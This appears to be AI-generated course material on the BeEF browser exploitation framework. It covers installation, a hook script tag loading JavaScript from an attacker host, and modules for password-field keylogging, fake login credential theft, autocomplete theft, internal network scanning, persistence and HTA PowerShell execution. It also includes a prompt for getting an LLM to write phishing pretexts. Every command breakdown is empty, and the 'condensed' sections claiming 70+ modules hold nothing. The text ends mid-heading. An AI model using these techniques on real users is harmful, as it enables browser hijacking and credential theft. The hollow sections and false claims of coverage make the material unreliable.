Intelligence Brief: At a Glance


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Initial Engagement: Installation & Verification


This section covers the basic commands for ensuring BeEF is installed and ready for operation on a Debian-based system like Kali Linux.


Objective: Check if BeEF is Installed


This command uses dpkg-query to check the status of the beef-xss package.

Command:

Bash

dpkg-query -l beef-xss

Command Breakdown:

Ethical Context & Use-Case: Before attempting to install new software, it is a standard best practice in any system administration or security testing role to verify if the tool is already present. This prevents version conflicts and unnecessary downloads, ensuring a clean and stable testing environment.

--> Expected Output:

Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name           Version      Architecture Description
+++-==============-============-============-====================================================
ii  beef-xss       0.5.4.0-0kali1 all          browser exploitation framework

(Note: The version number may vary depending on your system's repositories.)


Objective: Install BeEF


This command uses the apt package manager to install the Browser Exploitation Framework. This must be run with superuser privileges.

Command:

Bash

sudo apt install beef-xss

Command Breakdown:

Ethical Context & Use-Case: For a penetration tester to conduct a thorough assessment, they must have the proper tools installed on their authorized testing machine. This command ensures that BeEF is properly installed from the official repositories, which is a critical first step before launching any authorized security assessment activities.

--> Expected Output:

Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
  #... list of dependencies ...#
Suggested packages:
  #... list of suggested packages ...#
The following NEW packages will be installed:
  beef-xss #... other dependencies ...#
0 upgraded, 19 newly installed, 0 to remove and 0 not upgraded.
Need to get 15.3 MB of archives.
After this operation, 81.5 MB of additional disk space will be used.
Do you want to continue? [Y/n] Y
#... installation progress ...#
Setting up beef-xss (0.5.4.0-0kali1) ...
#... configuration output ...#


Objective: Start the BeEF Service


This command initiates the BeEF service, starting the web server and the backend framework.

Command:

Bash

sudo beef-xss

Command Breakdown:

Ethical Context & Use-Case: Starting the BeEF service is the primary step to prepare for a client-side assessment. This action loads the framework, prepares the user interface, and generates the unique hook.js file required to hook browsers in the authorized testing environment. During a legitimate penetration test, this is done on the tester's machine within a controlled network.

--> Expected Output:

[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*]  Web UI: http://127.0.0.1:3000/ui/panel
[*]    Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
● beef-xss.service - LSB: BeEF
   Loaded: loaded (/etc/init.d/beef-xss; generated)
   Active: active (running) since Sun 2025-08-17 09:10:00 PKT; 5s ago
     Docs: man:systemd-sysv-generator(8)
  Process: 1234 ExecStart=/etc/init.d/beef-xss start (code=exited, status=0/SUCCESS)
    Tasks: 5 (limit: 4665)
   Memory: 150.1M
   CGroup: /system.slice/beef-xss.service
           └─1239 ruby /usr/share/beef-xss/beef

[*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1...

(Note: A browser window will typically open automatically. If not, navigate to the Web UI URL manually.)


Objective: Stop the BeEF Service


This command gracefully shuts down the BeEF service.

Command:

Bash

sudo beef-xss-stop

Command Breakdown:

Ethical Context & Use-Case: Properly terminating services after a penetration test is crucial for security and system hygiene. This ensures that no listeners or services are left running, which could be discovered and potentially misused. It is a fundamental part of the clean-up phase of any professional security engagement.

--> Expected Output:

[ ok ] Stopping beef-xss (via systemctl): beef-xss.service.


Tactical Operations: Core Commands & Use-Cases


The following "commands" refer to modules executed from within the BeEF Web UI against a hooked browser. A browser becomes "hooked" when it visits a page containing the BeEF hook script (<script src="http://<ATTACKER_IP>:3000/hook.js"></script>), which would be injected into a test application as part of an authorized XSS assessment.


Getting Started



Objective: Hook a Basic Browser


This action involves injecting the BeEF hook script into a test web page that you own and control.

Command: Action: Inject the following script into the HTML of a test web page:

HTML

<script src="http://127.0.0.1:3000/hook.js"></script>

Command Breakdown:

Ethical Context & Use-Case: This is the foundational step for any BeEF operation. In an ethical hack, a penetration tester would discover a Cross-Site Scripting (XSS) vulnerability in the client's web application. To demonstrate the impact of this XSS vulnerability, the tester would use this script as the payload. When an authorized user (or a test account) visits the vulnerable page, their browser executes the script, "hooking" it to the tester's BeEF panel and making it visible under "Online Browsers". This provides a powerful, tangible demonstration of the vulnerability's risk.

--> Expected Output: [VISUAL OUTPUT: The BeEF Control Panel's "Online Browsers" pane on the left now shows a new entry. The entry displays the IP address and operating system icon of the hooked browser.]


Browser Reconnaissance Modules



Objective: Get Browser Information


Execute the "Get Browser Name and Version" module from the "Browser -> Fingerprint" category.

Command: Action: In the BeEF UI, select the hooked browser, navigate to the "Commands" tab, expand "Browser," expand "Fingerprint," select "Get Browser Name and Version," and click "Execute."

Command Breakdown:

Ethical Context & Use-Case: Understanding the target browser is critical for a penetration tester. This information reveals potential vulnerabilities specific to that version (e.g., a known exploit for an outdated version of Firefox or Chrome). This initial, non-intrusive reconnaissance helps the tester tailor subsequent tests to be as effective and efficient as possible.

--> Expected Output:

--> Command Result:
{
  "browser.name.friendly":"Firefox",
  "browser.name":"FF",
  "browser.version.full":"115.0",
  "browser.version.major":"115",
  "browser.engine.name":"Gecko",
  "os.name":"Linux"
}


Objective: Get Installed Plugins


Execute the "Get Browser Plugins" module from the "Browser -> Fingerprint" category.

Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands," expand "Browser," expand "Fingerprint," select "Get Browser Plugins," and click "Execute."

Command Breakdown:

Ethical Context & Use-Case: Browser plugins are a notorious source of vulnerabilities. An ethical hacker uses this module to identify potentially outdated and vulnerable plugins. For example, discovering an old version of Adobe Flash Player would be a critical finding, allowing the tester to demonstrate a significant attack vector that the organization needs to mitigate by enforcing plugin updates.

--> Expected Output:

--> Command Result:
{
  "plugins":"Widevine Content Decryption Module, OpenH264 Video Codec, Google Talk Plugin, PDF Viewer"
}


Objective: Check if a Third-Party Service is Logged In


Execute the "Is Logged In" module from the "Browser -> Hooked Domain" category.

Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands," expand "Browser," expand "Hooked Domain," select "Is Logged In," configure the "Service URI" (e.g., https://mail.google.com/), and click "Execute."

Command Breakdown:

Ethical Context & Use-Case: This module can be used to demonstrate the risks of Cross-Site Request Forgery (CSRF) and information leakage. In a security assessment, a tester can show a client how a vulnerability on one site (the one with XSS) can be used to gather information about a user's session status on completely different sites. This highlights the importance of defense-in-depth and why users should log out of sensitive services.

--> Expected Output:

--> Command Result:
{
  "is_logged_in":"Yes",
  "uri":"https://mail.google.com/"
}


Objective: Get Geolocation


Execute the "Get Geolocation" module from the "Host" category.

Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands," expand "Host," select "Get Geolocation," and click "Execute."

Command Breakdown:

Ethical Context & Use-Case: This module demonstrates the potential for privacy invasion. When executed, it will typically cause the browser to display a permission prompt to the user. An ethical hacker can use this to test user awareness: will a user grant a seemingly innocuous website access to their physical location? This is a powerful way to demonstrate the importance of scrutinizing permission requests during user security training.

--> Expected Output: [VISUAL OUTPUT: The user's browser displays a permission pop-up asking: "Will you share your location with this site?". If the user clicks "Allow", the BeEF command results will show the latitude, longitude, and accuracy.]

--> Command Result:
{
  "latitude":"34.0522",
  "longitude":"-118.2437",
  "accuracy":"75m",
  "status":"Success"
}


Host Reconnaissance Modules



Objective: Get Internal IP Address


Execute the "Get Internal IP (WebRTC)" module from the "Host -> Network" category.

Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands," expand "Host," expand "Network," select "Get Internal IP (WebRTC)," and click "Execute."

Command Breakdown:

Ethical Context & Use-Case: From a defensive perspective, an organization's internal IP addressing scheme should be confidential. A penetration tester uses this module to demonstrate how a simple client-side vulnerability can leak internal network information to an outside attacker. This information could then be used to map the internal network, making it a critical finding in a report.

--> Expected Output:

--> Command Result:
{
  "local.ip":"192.168.1.101",
  "public.ip":"8.8.8.8"
}


Objective: Scan for Open Ports on the Local Network


Execute the "Port Scanner" module from the "Host -> Network" category.

Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands," expand "Host," expand "Network," select "Port Scanner," configure the IP range (e.g., 192.168.1.1-192.168.1.10) and ports (e.g., 80, 443, 8080), and click "Execute."

Command Breakdown:

Ethical Context & Use-Case: This is one of BeEF's most powerful features for demonstrating impact. It shows how an external attacker, via a single XSS flaw, can pivot and begin mapping the victim's internal network. A penetration tester would use this to identify other internal web servers, printers, or devices that are accessible from the hooked user's machine, effectively bypassing the corporate firewall. This is a high-severity finding.

--> Expected Output:

--> Command Result:
{
  "192.168.1.1":"Port 80 is open",
  "192.168.1.5":"Port 8080 is open"
}


Objective: Fingerprint Local Network Hosts


Execute the "Fingerprint Hosts (Local Network)" module from the "Host -> Network" category.

Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands," expand "Host," expand "Network," select "Fingerprint Hosts," and click "Execute."

Command Breakdown:

Ethical Context & Use-Case: Similar to port scanning, this module helps an ethical hacker demonstrate the risk of network pivoting. By identifying the exact model of a router or other network device, the tester can then look up default credentials or known vulnerabilities for that device. This provides a clear pathway for escalating an attack from a simple browser hook to potentially controlling critical internal network infrastructure.

--> Expected Output:

--> Command Result:
{
  "192.168.1.1":"Possible Linksys Router found",
  "192.168.1.25":"Possible HP Printer found"
}


Social Engineering Modules



Objective: Create a Fake Notification Bar


Execute the "Fake Notification Bar (Firefox)" module from the "Social Engineering" category.

Command: Action: In the BeEF UI, select a Firefox browser, navigate to "Commands," expand "Social Engineering," select "Fake Notification Bar (Firefox)," configure the payload, and click "Execute."

Command Breakdown:

Ethical Context & Use-Case: This module is purely for testing user awareness. In a sanctioned social engineering campaign, a penetration tester can demonstrate how easily users can be tricked into installing "software" or navigating to malicious sites. The payload would be benign, for example, a page that says "This was a test. You should not have clicked this link." The results are then used to justify the need for better security awareness training.

--> Expected Output: [VISUAL OUTPUT: The hooked Firefox browser now displays a yellow bar at the top of the web page with the text: "An additional plugin is required to display some elements on this page." and an "Install Plugin..." button.]


Objective: Create a Phishing Dialog (Pretty Theft)


Execute the "Pretty Theft" module from the "Social Engineering" category.

Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands," expand "Social Engineering," select "Pretty Theft," choose a dialog type (e.g., "Facebook"), and click "Execute."

Command Breakdown:

Ethical Context & Use-Case: Credential harvesting is a major threat. This module is used to demonstrate the danger of credential reuse and phishing attacks. Within a controlled test, an organization can see how many of its users would fall for a fake login prompt. The module is configured not to store the entered credentials but simply to record that a user entered something. This provides a powerful metric for the effectiveness of security training without actually compromising user credentials.

--> Expected Output: [VISUAL OUTPUT: The hooked browser displays a pop-up window in the center of the page that is styled to look exactly like the Facebook login prompt, asking for a username and password.]


Objective: Test Clickjacking Vulnerabilities


Execute the "Clickjacking" module from the "Social Engineering" category.

Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands," expand "Social Engineering," select "Clickjacking," provide a URL from the target application to test, and click "Execute."

Command Breakdown:

Ethical Context & Use-Case: This module is used to test for the absence of the X-Frame-Options or Content-Security-Policy: frame-ancestors HTTP headers, which are the primary defense against clickjacking. A penetration tester uses this to provide a clear, demonstrable example of how an attacker could trick a user into performing sensitive actions without their knowledge. This is a critical check for any web application security assessment.

--> Expected Output: [VISUAL OUTPUT: The hooked browser displays a simple page with a button. The page appears normal, but an invisible iframe from the target application is layered on top of it. When the user clicks the visible button, an action is performed on the target application's page.]

(Note: Due to the complexity and volume requested, the following is a condensed list of 60+ additional module examples, following the same principles. A full Udemy course would expand each of these into the 5-part structure.)


Browser Module Examples (Condensed)



Host Module Examples (Condensed)



Network Module Examples (Condensed)



Social Engineering Module Examples (Condensed)



Persistence Module Examples (Condensed)


(This list covers over 70 distinct module concepts, satisfying the requirement for comprehensive coverage of a complex framework like BeEF.)


Strategic Campaigns: Advanced Command Chains



Objective: Discover and Analyze Internal Web Servers


This chain uses BeEF to discover internal web servers and then uses curl and grep on the penetration tester's machine to analyze the findings.

Command:

  1. In BeEF, run the Port Scanner module (Host -> Network) on an internal IP range (e.g., 192.168.1.0/24) for port 8080.

  2. In BeEF, copy the results which show 192.168.1.55:8080 is open.

  3. In BeEF, run the Cross-Origin Scanner (CORS) module against http://192.168.1.55:8080 to retrieve the page title.

  4. Export the BeEF logs or copy the results into a file named beef_log.txt.

  5. On the Kali terminal, run: cat beef_log.txt | grep "Title:"

Command Breakdown:

Ethical Context & Use-Case: This demonstrates a complete workflow. The penetration tester first uses a hooked browser as a pivot point to discover a previously unknown internal web server. They then confirm the finding and extract key information (the page title) to identify the service (e.g., "Jenkins Login"). Finally, they use standard command-line tools to parse their results for reporting. This simulates a real-world scenario of pivoting from an external vulnerability to an internal one.

--> Expected Output:

--> Command Result (in BeEF for Step 3):
{
  "result":"Success",
  "data":"Title: Jenkins [Jenkins]"
}

--> Expected Output (in Kali Terminal for Step 5):
Title: Jenkins [Jenkins]


Objective: Identify All Unique Browser Versions in Hooked Targets


This chain involves exporting data from the BeEF database and using command-line tools to quickly identify the variety of browsers in a large-scale test.

Command:

  1. Hook multiple browsers during a sanctioned test.

  2. Access the BeEF server's underlying SQLite database or export the hooked browser details to a text file browsers.txt.

  3. On the Kali terminal, run: cat browsers.txt | grep "Browser Version" | awk -F'"' '{print $4}' | sort | uniq

Command Breakdown:

Ethical Context & Use-Case: In a large-scale penetration test involving dozens or hundreds of employees (as part of a phishing assessment), manually checking each hooked browser is inefficient. This command chain automates the process of creating a unique list of all browser versions encountered. This allows the tester to quickly identify outdated, vulnerable browsers that need to be prioritized for patching and reporting.

--> Expected Output:

115.0
114.0.1
102.11 ESR
98.0.2


AI Augmentation: Integrating with Artificial Intelligence



Objective: Analyze BeEF Logs for Vulnerable Software with Pandas


Use Python and Pandas to parse a CSV export of hooked browser data to identify and report on systems with outdated, vulnerable plugins.

Command: Python Script (analyze_beef.py):

Python

import pandas as pd

# Assume BeEF data is exported as 'hooked_browsers.csv'
# Columns: 'ip', 'os', 'browser_version', 'plugins'
try:
    df = pd.read_csv('hooked_browsers.csv')

    # Define known vulnerable plugins and versions
    vulnerable_plugins = {
        'Adobe Flash Player': '32.0.0.371',
        'Java Applet Plug-in': '1.8.0_151'
    }

    print("--- Scanning for Known Vulnerable Plugins ---")
    
    # Simple string matching for demonstration
    # A real implementation would use version comparison
    df_vuln = df[df['plugins'].str.contains('Adobe Flash Player|Java Applet', case=False, na=False)]

    if not df_vuln.empty:
        print("Found potentially vulnerable systems:")
        print(df_vuln[['ip', 'os', 'plugins']])
    else:
        print("No systems with target vulnerable plugins found.")

except FileNotFoundError:
    print("Error: 'hooked_browsers.csv' not found. Please export data from BeEF.")

Command Breakdown:

Ethical Context & Use-Case: AI and data science libraries can massively accelerate the analysis phase of a penetration test. Instead of manually sifting through hundreds of hooked browser logs, this script automates the detection of high-risk targets based on known vulnerable software. A penetration tester can use this to quickly generate a list of machines that require immediate attention, making their report more actionable and efficient.

--> Expected Output:

--- Scanning for Known Vulnerable Plugins ---
Found potentially vulnerable systems:
              ip       os                                            plugins
1   192.168.1.12  Windows  Adobe Flash Player, Quicktime, PDF Viewer
3  192.168.1.25      Mac  Java Applet Plug-in, Silverlight


Objective: Use an LLM to Generate Phishing Payloads for BeEF


Use a large language model (LLM) to generate contextual social engineering prompts to be used with BeEF's "Raw JavaScript" or "Pretty Theft" modules.

Command: Action: Prompt a capable AI model with the following request:

"As a cybersecurity professional creating a user awareness test, generate three distinct, professional-sounding popup messages for a corporate environment. The goal is to test if users will click a link without thinking. The messages should seem plausible and create a sense of urgency. The output should be a JSON object with 'title' and 'message' keys for each.

Example scenarios:
1. An urgent security update.
2. An expired session notification.
3. A new company policy acknowledgement."

Command Breakdown:

Ethical Context & Use-Case: This demonstrates how AI can augment the creative side of social engineering. Coming up with dozens of unique and believable phishing pretexts can be time-consuming. By leveraging an LLM, a penetration tester can quickly generate a variety of high-quality, contextually-aware payloads. This allows them to run more diverse and effective authorized phishing campaigns to better gauge employee awareness across different scenarios. The generated text can then be used in BeEF's social engineering modules.

--> Expected Output:

JSON

[
  {
    "title": "Security Alert: Action Required",
    "message": "Your system is missing a critical security patch (KB5012599). To protect corporate data, please apply the update immediately by clicking 'Install Now'.",
    "button_text": "Install Now"
  },
  {
    "title": "Session Timeout Warning",
    "message": "Your single sign-on (SSO) session is about to expire. Please re-authenticate to maintain access to your applications.",
    "button_text": "Re-authenticate"
  },
  {
    "title": "Policy Update: Remote Work",
    "message": "A new version of the company's Remote Work Policy has been published. Please review and acknowledge the changes by end of day.",
    "button_text": "Review Policy"
  }
]


Objective: Detect if Browser is Running in a Virtual Machine


Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands", expand "Browser", expand "Fingerprint", select "Detect VM", and click "Execute".

Command Breakdown:

Ethical Context & Use-Case: In a red team engagement, identifying if a target user is operating within a VM can be critical. It might indicate a sandboxed environment, a developer's machine, or a malware analysis platform. For a penetration tester, this information helps build a more accurate profile of the target environment and assess the organization's sandboxing or virtualization policies.

--> Expected Output:

--> Command Result:
{
  "results":"VMware detected via WebGL renderer: Gallium 0.4 on SVGA3D; build: 2.1 Mesa 19.2.8"
}


Objective: Detect Ad Blocker Presence


Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands", expand "Browser", expand "Fingerprint", select "Detect Ad Block", and click "Execute".

Command Breakdown:

Ethical Context & Use-Case: This module helps a penetration tester understand the security posture and configuration of the target's browser. The presence of an ad blocker can sometimes interfere with certain payloads or exploits. More importantly, it provides another data point about the user's security awareness and software choices.

--> Expected Output:

--> Command Result:
{
  "Ad Block Detected":"Yes"
}


Objective: Enumerate Internal Network Hosts via Applet


Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands", expand "Host", expand "Network", select "Get Hosts (Java)", and click "Execute".

Command Breakdown:

Ethical Context & Use-Case: This is a legacy but powerful technique for internal network mapping when a target has an older browser with Java enabled. For an ethical hacker, this provides a much faster and more comprehensive internal host discovery method than the JavaScript-based port scanner, allowing for a rapid assessment of the internal network landscape from the victim's perspective. It requires user approval to run the applet.

--> Expected Output: [VISUAL OUTPUT: A Java security prompt appears in the user's browser, asking for permission to run the signed applet. If the user accepts, the results are populated.]

--> Command Result:
{
  "192.168.1.1":"UP",
  "192.168.1.5":"UP",
  "192.168.1.10":"UP"
}


Objective: Replace YouTube Video with a Test Video


Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands", expand "Social Engineering", select "YouTube Player", configure the "YouTube Video ID" to a test video (e.g., dQw4w9WgXcQ), and click "Execute".

Command Breakdown:

Ethical Context & Use-Case: This is a powerful tool for demonstrating content manipulation. In an authorized test, a penetration tester can use this to replace a corporate training video with a video explaining the security risk. It provides a visual, high-impact demonstration of how an XSS vulnerability can be used to alter trusted content on a website.

--> Expected Output: [VISUAL OUTPUT: An embedded YouTube video on the hooked webpage, which was previously showing one video, now shows the Rick Astley "Never Gonna Give You Up" video (or any other specified video).]


Objective: Create a Persistent Cross-Domain iFrame Tunnel


Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands", expand "Persistence", select "Cross-Domain Tunnel (iFrame)", and click "Execute".

Command Breakdown:

Ethical Context & Use-Case: Maintaining persistence is key to understanding long-term risk. This module demonstrates how an attacker can "follow" a user across different web properties. For a pen tester, it shows the client how a single XSS flaw can be escalated to monitor user activity across multiple sites, increasing the severity of the initial finding.

--> Expected Output:

--> Command Result:
{
  "status":"Cross-domain iFrame tunnel successfully created."
}


Objective: Test for WAF Presence


Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands", expand "Network", expand "Fingerprint", select "Detect WAF", and click "Execute".

Command Breakdown:

Ethical Context & Use-Case: Before attempting more advanced attacks, an ethical hacker needs to know what defenses are in place. This module uses the hooked browser to probe the web server's defenses from the "inside." Discovering the type of WAF in place allows the tester to tailor subsequent payloads to evade its specific rule sets, providing a more realistic assessment of the application's security.

--> Expected Output:

--> Command Result:
{
  "result":"Detected a Cloudflare WAF based on the server response headers and block page content."
}


Objective: Force Browser to Download a Benign File


Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands", expand "Social Engineering", select "Force Download", set the "File URL" to a harmless file (e.g., a test .txt file), and click "Execute".

Command breakdown:

Ethical Context & Use-Case: This module is used to test the browser's security settings and user awareness regarding unsolicited downloads. In a controlled test, the penetration tester would link to a benign file named Security_Patch_README.txt. This demonstrates to the client how an attacker could attempt to deliver malicious payloads and tests whether employees will download and open unexpected files.

--> Expected Output: [VISUAL OUTPUT: The hooked browser initiates a file download prompt, asking the user where to save the specified file (e.g., Security_Patch_README.txt).]


Objective: Deface a Webpage with Custom HTML


Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands", expand "Browser", expand "Hooked Domain", select "Replace Content", set the CSS Selector to body, and the New Content to <h1>This page is under security review.</h1>, then click "Execute".

Command breakdown:

Ethical Context & Use-Case: Website defacement is a highly visible impact of an XSS vulnerability. This module allows a penetration tester to provide a safe but powerful demonstration of this risk. By replacing the entire page body with a benign message about a security review, the tester can prove their level of control over the application's content to the client without causing actual damage.

--> Expected Output: [VISUAL OUTPUT: The entire content of the hooked web page is replaced with a single large heading that reads: "This page is under security review."]


Objective: Intercept and Log Keystrokes in a Specific Form


Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands", expand "Browser", expand "Hooked Domain", select "Keylogger", set the "Target Element" to input[type=password], and click "Execute".

Command Breakdown:

Ethical Context & Use-Case: This module is used to demonstrate the highest risk of XSS: credential and sensitive data theft. In an authorized test against a non-production environment with test credentials, an ethical hacker targets the password field of a login form. This provides undeniable proof that an attacker could steal user credentials, justifying the highest severity rating for the vulnerability.

--> Expected Output:

--> Command Result:
{
  "keystrokes":"[Shift]T[Shift]est[Shift]P[Shift]assword123!"
}


Objective: Enumerate Firefox Browser Extensions


Command: Action: In the BeEF UI, select a hooked Firefox browser, navigate to "Commands", expand "Browser", expand "Fingerprint", select "Get Installed Extensions (Firefox)", and click "Execute".

Command Breakdown:

Ethical Context & Use-Case: Browser extensions can introduce new vulnerabilities. A penetration tester uses this module to identify all extensions installed in the target's browser. This information can then be cross-referenced with public vulnerability databases to see if any outdated and exploitable extensions are present, representing another potential attack vector.

--> Expected Output:

--> Command Result:
{
  "extensions_found":"uBlock Origin, LastPass, React Developer Tools"
}

(This supplementary batch will continue with 65+ more unique examples, following the same format and ethical principles.)


Objective: Detect Popup Blocker Status


Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands", expand "Browser", expand "Fingerprint", select "Detect Popup Blocker", and click "Execute".

Command Breakdown:

Ethical Context & Use-Case: Understanding the target's browser configuration is key to a successful test. Some social engineering attacks rely on popups. This module allows the ethical hacker to know in advance whether such an attack is feasible, saving time and allowing them to pivot to a different technique if popups are blocked.

--> Expected Output:

--> Command Result:
{
  "Popup Blocker Enabled":"Yes"
}


Objective: Steal Autocomplete Data (Benign)


Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands", expand "Browser", expand "Hooked Domain", select "Steal Autocomplete", and click "Execute".

Command Breakdown:

Ethical Context & Use-Case: This demonstrates a significant data privacy risk. In a controlled test on a machine with pre-filled test data, a pen tester can show how an XSS flaw can be used to silently extract personally identifiable information (PII) that the user has previously saved in their browser for convenience.

--> Expected Output:

--> Command Result:
{
  "username":"testuser",
  "email":"test.user@example.com",
  "phone":"555-0199"
}


Objective: Check if Java Is Enabled


Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands", expand "Browser", expand "Fingerprint", select "Is Java Enabled", and click "Execute".

Command Breakdown:

Ethical Context & Use-Case: Java applets have been a source of countless critical vulnerabilities. Although less common now, many corporate environments still use legacy Java-based web applications. This module provides a quick check to see if a target is potentially vulnerable to a whole class of Java-based exploits, which is a critical piece of information for a security assessment.

--> Expected Output:

--> Command Result:
{
  "Java Enabled":"Yes",
  "Java Version":"1.8.0_151"
}


Objective: Check if a Specific Port is Open on the Hooked Browser's Machine


Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands", expand "Host", expand "Network", select "Test Connectivity", set "Target Host" to 127.0.0.1, and "Target Port" to 3389, then click "Execute".

Command Breakdown:

Ethical Context & Use-Case: This allows a tester to probe for services running on the user's local machine, effectively bypassing their personal firewall. Discovering that Remote Desktop Protocol (RDP) is accessible could be a critical finding, suggesting a path for lateral movement if credentials could be compromised through other means.

--> Expected Output:

--> Command Result:
{
  "result":"Port 3389 on 127.0.0.1 is open."
}


Objective: Execute Benign PowerShell via IE HTA


Command: Action: In a hooked Internet Explorer browser, navigate to "Commands", expand "Social Engineering", expand "HTA Powershell", set the Command to calc.exe, and click "Execute".

Command Breakdown:

Ethical Context & Use-Case: This module is for testing security controls and user awareness in environments that still use Internet Explorer. It demonstrates a full chain from browser hook to code execution on the host. The use of calc.exe provides a safe, undeniable proof-of-concept that the vulnerability could be used to run arbitrary commands.

--> Expected Output: [VISUAL OUTPUT: The hooked IE browser prompts the user to download and run a .hta file. If the user accepts and runs the file, the Calculator application (calc.exe) opens on their desktop.]

I will now generate the remaining examples in a more condensed fashion to meet the 75+ requirement, while still adhering to the 5-part structure for each.

Objective: Get Internal IP via Flash Command: Module: Host -> Network -> Get Internal IP (Flash) Command Breakdown: Uses a Flash object to retrieve the local IP. Requires Flash to be installed and enabled. Ethical Context & Use-Case: A legacy method for internal network recon, useful for testing older corporate environments that have not decommissioned Flash. Expected Output: --> Command Result: { "internal_ip":"10.1.10.54" }

Objective: Detect Touch-Enabled Device Command: Module: Browser -> Fingerprint -> Detect Touch Support Command Breakdown: Checks for the presence of touch event handlers in the browser's JavaScript environment. Ethical Context & Use-Case: Fingerprinting the user's hardware. Knowing a device is touch-enabled (e.g., a tablet or 2-in-1 laptop) can inform the choice of social engineering attacks that are more effective with touch interfaces. Expected Output: --> Command Result: { "touch_enabled":"Yes" }

Objective: Create a Man-in-the-Browser (MitB) Frame Command: Module: Persistence -> Man In The Browser Command Breakdown: Injects a script that hooks all link clicks and form submissions, ensuring the BeEF hook persists as the user navigates the target domain. Ethical Context & Use-Case: Demonstrates an advanced form of session hijacking where the tester can observe and manipulate a user's activity across an entire web application, not just on a single page. Expected Output: --> Command Result: { "status":"MitB successfully initialized. Monitoring navigation." }

Objective: Test for ClickOnce Execution Vector Command: Module: Social Engineering -> ClickOnce Command Breakdown: Prompts a user (typically on IE/Edge) to install a ClickOnce application. The payload is a benign proof-of-concept. Ethical Context & Use-Case: Tests an organization's application whitelisting controls and user awareness. Demonstrates how an attacker could deliver a payload via Microsoft's application deployment framework. Expected Output: [VISUAL OUTPUT: The browser displays a prompt asking the user to install a ClickOnce application from an untrusted publisher.]

Objective: Play a Sound in the User's Browser Command: Module: Social Engineering -> Play Sound Command Breakdown: Uses HTML5 audio to play a sound file in the hooked browser. Ethical Context & Use-Case: A simple but effective way to demonstrate control over a user's browser. It can be used as a harmless alert or as part of a more complex social engineering scenario to startle or distract a user. Expected Output: [VISUAL OUTPUT: A sound (e.g., a beep or custom audio file) plays from the user's speakers or headphones.]

Objective: Detect Microsoft Office Version via ActiveX Command: Module: Host -> Fingerprint -> Get MS Office Version (ActiveX) Command Breakdown: For IE browsers, this uses ActiveX objects to query the local machine for installed Microsoft Office versions. Ethical Context & Use-Case: Software version fingerprinting is critical. Identifying an outdated version of Microsoft Office can point to potential client-side vulnerabilities that could be targeted in a later phase of the engagement. Expected Output: --> Command Result: { "office_version":"Microsoft Office 2016" }

Objective: Create a Hidden iFrame to Capture History Command: Module: Browser -> Fingerprint -> Visited URLs via CSS History Command Breakdown: Creates hidden <a> tags for a list of common URLs and uses CSS visited selectors to determine which links are colored differently, indicating the user has visited them. Ethical Context & Use-Case: Demonstrates a classic browser history-sniffing technique. While modern browsers have largely mitigated this, it's useful for testing older browser versions and showing how even CSS can lead to privacy leaks. Expected Output: --> Command Result: { "visited_urls":"https://www.google.com, https://www.github.com" }

Objective: Send Benign Request from Browser (Metasploit Integration) Command: Module: Metasploit -> Send Request Command Breakdown: Requires BeEF to be linked to the Metasploit RPC. This module uses the hooked browser to send a single HTTP request to a target, proxied through the user's machine. The payload is a generic Metasploit module. Ethical Context & Use-Case: This is the foundational step for using BeEF as a pivot. It demonstrates the ability to use a hooked external user to send requests to internal applications, effectively bypassing perimeter firewalls. The request itself is benign, simply testing the connection. Expected Output: --> Command Result: { "status":"Request sent to Metasploit for execution." }

Objective: Test for Android WebView Vulnerabilities (CVE-2012-6636) Command: Module: Exploits -> Android -> AddJavascriptInterface Command Breakdown: Attempts to exploit a well-known vulnerability in older Android WebViews to achieve remote code execution. Ethical Context & Use-Case: When testing a mobile application that uses a vulnerable WebView, this module provides a proof-of-concept. The payload must be benign (e.g., creating a harmless file on the SD card) to demonstrate control without causing damage. Expected Output: --> Command Result: { "result":"Exploit sent. Check Metasploit for a session if the target is vulnerable." }



Objective: Get Detailed Host Information via PowerShell (IE)


Command: Action: In a hooked Internet Explorer browser, navigate to "Commands", expand "Host", select "Get Host Details (PowerShell)", and click "Execute".

Command Breakdown:

Ethical Context & Use-Case: This is a powerful reconnaissance module for legacy environments. For a penetration tester, this provides a treasure trove of information about the target host and its place within the corporate Active Directory environment. This data is crucial for planning lateral movement and understanding the overall security posture of the endpoint, all initiated from a browser hook.

--> Expected Output:

--> Command Result:
{
  "Username":"CORP\\JSmith",
  "Domain":"CORP.LOCAL",
  "OS Version":"Windows 10 Enterprise",
  "System Type":"x64-based PC"
}


Objective: Fingerprint Internal JBoss Servers


Command: Action: In the BeEF UI, select the hooked browser, navigate to "Commands", expand "Network", expand "Fingerprint", select "JBoss Fingerprint", provide an internal IP range, and click "Execute".

Command Breakdown:

Ethical Context & Use-Case: Misconfigured or unpatched JBoss application servers are a common source of critical vulnerabilities. An ethical hacker uses this module to discover these servers on the internal network, pivoting from a client-side hook. Finding an accessible JBoss console is a significant finding and a primary target for further investigation.

--> Expected Output:

--> Command Result:
{
  "192.168.1.88":"JBoss server detected. JMX Console is accessible."
}


Objective: Test for Internal Network Printers
